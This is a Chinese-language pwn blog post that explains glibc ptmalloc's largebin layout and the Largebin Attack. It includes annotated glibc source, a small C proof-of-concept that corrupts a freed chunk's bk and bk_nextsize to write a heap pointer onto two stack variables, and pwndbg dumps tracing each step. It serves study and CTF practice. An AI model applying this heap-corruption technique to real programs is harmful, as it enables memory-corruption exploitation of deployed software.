Pwn进你的心
0%

Ptmalloc算法：Largebin Attack

Posted on Edited on In 10k 9 mins.

Ptmalloc算法：Largebin Attack

Large Bin Attack 是一种较为困难的攻击方式，他对攻击的条件要求较多，实现也较为复杂，通常和 Unsorted Bin 打配合来实现 house of storm，来达到提升影响力的作用

  • libc-2.29 及以下版本，可以利用 Large Bin Attack 来写两个地址
  • libc-2.30 及以上版本中，只能利用 Large Bin Attack 来写一个地址

Large bin

大于512（1024）字节的 chunk 称之为 large chunk，large bin 就是用于管理这些 large chunk 的

largebin 采用双链表结构，里面的 chunk 从头结点的 fd 指针开始，按大小顺序进行排列 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部，然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理

  • 用 fd_nextsize 和 bk_nextsize 链接的链表为横向链表，用 fd 和 bk 链接的链表为纵向链表

在横向链表中，堆管理器维护一个循环的单调链表，由最大的 size（在这个 index 下的最大 size）作为表头，最小的 size 作为表尾，且首尾相连

largebin 基础知识：

  • largebin 中一共包括 63 个 bin，index为64~126，每个 bin 中的 chunk 的大小不一致，而是处于一定区间范围内
  • largebin 的结构和其他链表都不相同，更加复杂
  • largebin 里除了有 fd，bk 指针，另外还有 fd_nextsize 和 bk_nextsize 这两个指针
  • largebin 的插入顺序不再是LIFO或FIFO，而是一种全新的方式

largebin 特性：

  • 按照大小从大到小排序，若大小相同,按照 free 时间排序
  • 若干个大小相同的堆块，只有首堆块的 fd_nextsize 和 bk_nextsize 会指向其他堆块,后面的堆块的 fd_nextsize 和 bk_nextsize 均为 “0”
  • size 最大的chunk的 bk_nextsize 指向最小的 chunk，size 最小的 chunk 的 fd_nextsize 指向最大的 chunk

下面的代码将解释 largebin 的插入顺序：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
if (in_smallbin_range(size)) /* smallbin(暂时不管) */
{
  victim_index = smallbin_index(size);//获取size对应的smallbin的index
  bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
  //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
  fwd = bck->fd;
}
else /* largebin(核心) */
{
    /*
    victim => 需要插入的目标chunk
    fwd => 最终为victim的上一个chunk(可以定位victim)
    bck => 最终为victim的下一个chunk(可以定位victim)
    */
    
  victim_index = largebin_index(size); /* 获取size对应的largebin的index */
  bck = bin_at(av, victim_index); 
  fwd = bck->fd; 
    /* 
    fwd => 最大的chunk(对应链表头中的第一个chunk)
    bck => 对应的largebin的链表头
    bck->fd => 对应largebin中最大的chunk(并且是第一个chunk)
    bck->bk => 对应largebin中最小的chunk(并且是最后一个chunk)
    */
    
  //如果largebin非空，在largbin进行按顺序插入
  if (fwd != bck) {
      /* Or with inuse bit to speed comparisons */
      size |= PREV_INUSE;
      assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert

      if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
          /* 
          "bck->bk"指向对应largebin中最小的chunk
           如果"size"<"bck->bk->size"，那么目标chunk将成为新的最小chunk
           因此需要把victim添加到此largebin的尾部
           */
          
          fwd = bck; /* fwd = 原链表头 */
          bck = bck->bk; /* bck = 原链表尾(最后一个chunk) */    
        
          victim->fd_nextsize = fwd->fd; 
          /* 在"victim->fd_nextsize"中装入"最大chunk" */
          victim->bk_nextsize = fwd->fd->bk_nextsize; 
          /* 在"victim->bk_nextsize"中装入"原最小chunk" */
          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          /* 先把 "victim" 装入 "原最小chunk->fd_nextsize" */
          /* 再把 "victim" 装入 "最大chunk->bk_nextsize" */
      } 
      else /* 如果victim不是(不唯一是)largebin中最小的chunk */
      {
          assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
          //从大到小（从头到尾）找到合适的位置
          while ((unsigned long) size < fwd->size) {
              fwd = fwd->fd_nextsize; /* 不断更新fwd,直到"size">="fwd->size" */
              assert((fwd->size & NON_MAIN_ARENA) == 0);
          }
            
          if ((unsigned long) size == (unsigned long) fwd->size)
              /* 如果size刚好相等，就直接插入对应纵向列表的头部 */
              fwd = fwd->fd; /* fwd = 对应纵向列表的第一个chunk(跳过了头部) */
          else 
          {
              /* 如果size不相等("size">"fwd->size")，就把victim加入到新的纵向链表 */
              /* fwd = 新纵向列表的头部 */
              
              victim->fd_nextsize = fwd;
              /* 在"victim->fd_nextsize"中装入"对应size小于victim的纵向链表" */
              victim->bk_nextsize = fwd->bk_nextsize;
              /* 在"victim->bk_nextsize"中装入"对应size大于victim的纵向链表" */
              fwd->bk_nextsize = victim;
              /* 在"纵向链表(小于victim)->bk_nextsize"中装入"victim" */
              victim->bk_nextsize->fd_nextsize = victim;
              /* 在"纵向链表(大于victim)->fd_nextsize"中装入"victim" */
          }
          bck = fwd->bk; /* bck = 当前fwd的上一个chunk*/
      }
  } 
  else //如果largebin为空，将victim加入到纵向列表
    victim->fd_nextsize = victim->bk_nextsize = victim;
    /* 先把 "victim" 装入 "victim->bk_nextsize" */
    /* 再把 "victim" 装入 "victim->fd_nextsize" */
}
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck; /* bck = victim对应的下一个chunk */
victim->fd = fwd; /* fwd = victim对应的上一个chunk */
fwd->bk = victim;
bck->fd = victim;

发现以下规律：

  • 在纵向列表外部：对应的largebin从大到小组织各个纵向列表
  • 在纵向列表内部：新加入的chunk直接插头，而位于表头的chunk固定不变（除非其余成员全部被申请）

Large Bin Attack

LargeBin Attack 就发生在堆块中 UnsortedBin 放入 LargeBin 的过程当中去

  • 写入第一个地址：
1
victim->bk_nextsize->fd_nextsize = victim;

如果我们对 victim->bk_nextsize 进行伪造，那么就可以控制程序写一个堆块地址到目标位置

  • 写入第二个地址：
1
bck->fd = victim; /* bck 也就是 fwd->bk */

如果我们可以控制 fwd->bk 位置，那么就可以写一个堆块地址到目标位置

下面就是利用案例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
   
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    malloc(0x20); /* 防止合并 */
    unsigned long *p2 = malloc(0x500);
    malloc(0x20);
    unsigned long *p3 = malloc(0x500);
    malloc(0x20);
 
    free(p1);
    free(p2);
    malloc(0x90);

    free(p3);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2); /* long 在64位机器上时8字节 */
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}
1
2
3
4
5
6
➜  桌面 ./test 
stack_var1 (0x7fffc5efda80): 0
stack_var2 (0x7fffc5efda88): 0

stack_var1 (0x7fffc5efda80): 0x55ea64ab09a0
stack_var2 (0x7fffc5efda88): 0x55ea64ab09a0

可以发现：两个栈地址上被写入了数据，接下来就看看具体的执行过程

“p1”和“p2”刚刚释放时：

1
2
3
unsortedbin
all: 0x55555555a360 —▸ 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a360
    /* p2 -> p1 -> main_arena */

不出意料的都放入了 unsortedbin ，接下来再进行申请时，ptmalloc就会根据“size”把目标chunk放入对应的bins中：

1
2
3
4
5
6
unsortedbin
all: 0x55555555a0a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a0a0
    /* p1(分割后) -> main_arena */
largebins
0x500: 0x55555555a360 —▸ 0x7ffff7dd1fa8 (main_arena+1160) ◂— 0x55555555a360
    /* 遍历到p1时就满足了分割的条件(从后往前),所以p1被分割,p2则放入了largebins */

接下来释放p3，然后修改p2：

1
2
3
unsortedbin
all: 0x55555555a8a0 —▸ 0x55555555a0a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a8a0
    /* p3 -> p1(分割后) -> main_arena */
  • 修改前：
1
2
3
4
pwndbg> x/20xg 0x55555555a360
0x55555555a360:	0x0000000000000000	0x0000000000000511
0x55555555a370:	0x00007ffff7dd1fa8	0x00007ffff7dd1fa8
0x55555555a380:	0x000055555555a360	0x000055555555a360
1
2
00:0000│ rsp 0x7fffffffdf10 ◂— 0x0 // stack_var1
01:0008│     0x7fffffffdf18 ◂— 0x0 // stack_var2
  • 修改后：
1
2
3
4
pwndbg> x/20xg 0x55555555a360
0x55555555a360:	0x0000000000000000	0x00000000000003f1
0x55555555a370:	0x0000000000000000	0x00007fffffffdf00 // stack_var1 - 2
0x55555555a380:	0x0000000000000000	0x00007fffffffdef8 // stack_var2 - 4
1
2
00:0000│ rsp 0x7fffffffdf10 —▸ 0x55555555a8a0 ◂— 0x0 // stack_var1
01:0008│     0x7fffffffdf18 —▸ 0x55555555a8a0 ◂— 0x0 // stack_var2
1
2
stack_var1 (0x7fffffffdf10): 0x55555555a8a0
stack_var2 (0x7fffffffdf18): 0x55555555a8a0

成功在“stack_var1”和“stack_var2”中写入了“p3”的地址，这就是利用了以下代码：

1
2
victim->bk_nextsize->fd_nextsize = victim;
bck->fd = victim; /* bck 也就是 fwd->bk */

在“p2”覆盖完毕后，再次申请内存空间的过程中：

  • p3会被写入largebin，它的结构如下：
1
2
3
4
5
6
pwndbg> x/20xg 0x55555555b8a0
0x55555555b8a0:	0x0000000000000000	0x0000000000000511
0x55555555b8b0:	0x000055555555b360	0x00007fffffffdf00 
	/* FD = p2			BK = stack_var1-2 */
0x55555555b8c0:	0x000055555555b360	0x00007fffffffdef8
	/* fd_nextsize = p2			bk_nextsize = stack_var2-4 */
  • 在前面操作中，p2的size被修改，使得p3成为新的纵向列表头
  • 因为 “p3->size” 大于 “p2->size”，所以p3将插入p2前面
  • 下面的代码都是将解释p3进入largebin后的结构：
1
2
3
4
5
6
7
8
9
10
11
fwd = bck /* fwd初始化为原链表头 */
fwd = fwd->fd_nextsize /* 遍历链表寻找合适的fwd,最后找到fwd=p2(p2已经被伪造) */
/* fwd = p2 */

bck = fwd->bk /* 这里的fwd就是p2,而fwd->bk则是"stack_var1-2" */
/* bck = stack_var1-2 */
    
victim->bk = bck /* bk = stack_var1 - 2 */
victim->fd = fwd /* fd = p2 */
victim->bk_nextsize = fwd->bk_nextsize /* bk_nextsize = stack_var2 - 4 */
victim->fd_nextsize = fwd /* fd_nextsize = p2 */
  • 最后解释一下“stack_var1”和“stack_var2”被修改的原因：
1
2
3
4
5
6
7
/* fwd = p2 */
/* bck = stack_var1-2 */

fwd->bk_nextsize = victim /* p2->bk_nextsize=victim */
victim->bk_nextsize->fd_nextsize = victim /* (stack_var2-4)->fd_nextsize=victim */
fwd->bk = victim /* p2->bk=victim */
bck->fd = victim /* (stack_var1-2)->fd=victim */
1
2
3
4
5
6
7
01:0008│     0x7fffffffdef8 ◂— 0x0 // stack_var2-4
02:0010│ r8  0x7fffffffdf00 —▸ 0x7fffffffdf40 —▸ 0x555555555330 (__libc_csu_init) ◂— endbr64 // stack_var1-2
03:0018│     0x7fffffffdf08 —▸ 0x5555555552c6 (main+316) ◂— mov    rax, qword ptr [rbp - 0x30]
04:0020│ rsp 0x7fffffffdf10 —▸ 0x55555555b8a0 ◂— 0x0 // stack_var1
05:0028│     0x7fffffffdf18 —▸ 0x55555555b8a0 ◂— 0x0 // stack_var2
    /* (stack_var2-4)->fd_nextsize=stack_var2 */
    /* (stack_var1-2)->fd=stack_var1 */
1
2
3
4
pwndbg> x/20xg 0x55555555b360 /* p2 */
0x55555555b360:	0x0000000000000000	0x00000000000003f1
0x55555555b370:	0x0000000000000000	0x000055555555b8a0 // p3
0x55555555b380:	0x0000000000000000	0x000055555555b8a0 // p3

libc-2.30 的检测

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

在 glibc2.29 中，增加了对双向链表完整性的检查，这样的检查方式正如同 glibc2.29 中增加的对 unsorted bin 类似，但是与其不同的是，这个检查只存在于插入的 unsorted chunk size 大于 chunk 时候，也就是说， 如果我们构造一个小于所有 largebin 中堆块的 unsorted chunk，那么就可以成功利用上面那个分支操作 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if ((unsigned long)(size)
    < (unsigned long)chunksize_nomask(bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
    assert(chunk_main_arena(fwd));
    while ((unsigned long)size < chunksize_nomask(fwd))
    {
        fwd = fwd->fd_nextsize;
        assert(chunk_main_arena(fwd));
    }
    if ((unsigned long)size
        == (unsigned long)chunksize_nomask(fwd))
        /* Always insert in the second position.  */
        fwd = fwd->fd;
    else
    {
        victim->fd_nextsize = fwd;
        victim->bk_nextsize = fwd->bk_nextsize;
        if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd))
            malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
        fwd->bk_nextsize = victim;
        victim->bk_nextsize->fd_nextsize = victim;
    }
    bck = fwd->bk;
    if (bck->fd != fwd)
        malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
}